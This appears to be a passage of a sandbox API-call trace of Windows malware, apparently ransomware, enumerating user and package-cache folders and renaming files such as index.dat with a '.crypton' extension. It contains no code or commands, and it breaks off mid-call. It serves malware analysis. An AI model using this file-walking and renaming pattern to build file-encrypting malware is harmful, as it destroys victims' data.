[0221.131] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedef52a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedef52a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0221.134] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd7d760, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedf1b400, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedf1b400, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0221.137] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedf1b400, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedf1b400, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0221.140] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedf41560, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedf41560, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0221.144] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedf41560, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedf41560, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0221.147] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfab71c60, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedf676c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedf676c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0221.149] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedf676c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedf676c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0221.152] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedf676c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedf676c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0221.155] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa93425b0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xedf8d820, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedf8d820, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0221.158] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xedf8d820, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedf8d820, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0221.161] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xedfb3980, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedfb3980, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0221.164] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xedfb3980, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedfb3980, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0221.167] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xedfd9ae0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedfd9ae0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0221.169] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xedfd9ae0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedfd9ae0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0221.180] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xedfd9ae0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedfd9ae0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0221.185] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xedfffc40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedfffc40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0221.188] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xedfffc40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedfffc40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0221.194] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Start Menu\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xedfd9ae0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedfd9ae0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 0xffffffff [0221.197] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Sun\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xee025da0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee025da0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0221.200] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Sun\\Java\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xee04bf00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee04bf00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0221.203] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Sun\\Java\\Java Update\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xee04bf00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee04bf00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0221.208] FindFirstFileA (in: lpFileName="C:\\\\Users\\All Users\\Templates\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xee04bf00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee04bf00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName="Java", cAlternateFileName="")) returned 0xffffffff [0221.211] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x135d500, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x135d500, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0221.220] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1383660, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1383660, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0221.224] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Local\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1383660, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1383660, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0221.228] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Local\\Application Data\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x28207265, ftCreationTime.dwLowDateTime=0x676f6f67, ftCreationTime.dwHighDateTime=0x6920656c, ftLastAccessTime.dwLowDateTime=0x76202974, ftLastAccessTime.dwHighDateTime=0x6f206169, ftLastWriteTime.dwLowDateTime=0x63696666, ftLastWriteTime.dwHighDateTime=0x206c6169, nFileSizeHigh=0x65746973, nFileSizeLow=0x3e3e0a0d, dwReserved0=0x74746820, dwReserved1=0x2f2f3a70, cFileName="mj4mxqvlo4xh5fb2fxc3lã\x15w\x91åhwL®J", cAlternateFileName="Ä­J")) returned 0xffffffff [0221.242] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Local\\History\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x28207265, ftCreationTime.dwLowDateTime=0x676f6f67, ftCreationTime.dwHighDateTime=0x6920656c, ftLastAccessTime.dwLowDateTime=0x76202974, ftLastAccessTime.dwHighDateTime=0x6f206169, ftLastWriteTime.dwLowDateTime=0x63696666, ftLastWriteTime.dwHighDateTime=0x206c6169, nFileSizeHigh=0x65746973, nFileSizeLow=0x3e3e0a0d, dwReserved0=0x74746820, dwReserved1=0x2f2f3a70, cFileName="mj4mxqvlo4xh5fb2fxc3lã\x15w\x91åhwL®J", cAlternateFileName="Ä­J")) returned 0xffffffff [0221.245] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x13a97c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13a97c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0221.255] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Credentials\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x13cf920, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13cf920, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0221.260] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x13cf920, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13cf920, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0221.265] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x13cf920, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13cf920, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0221.274] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x13f5a80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13f5a80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0221.279] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x13f5a80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13f5a80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0221.286] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x141bbe0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x141bbe0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0221.294] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x141bbe0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x141bbe0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0221.299] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1441d40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1441d40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0221.304] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1441d40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1441d40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0221.327] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\index.dat" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\index.dat"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\index.dat.crypton" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\index.dat.crypton"), dwFlags=0x2) returned 1 [0221.333] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x148e000, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x148e000, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0221.338] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x148e000, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x148e000, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0221.348] MoveFileExW (lpExistingFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt"), lpNewFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt.crypton" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt.crypton"), dwFlags=0x2) returned 1 [0221.357] FindFirstFileA (in: lpFileName="C:\\\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x14b4160, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14b4160, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0221.361] FindFirstFileA (in: 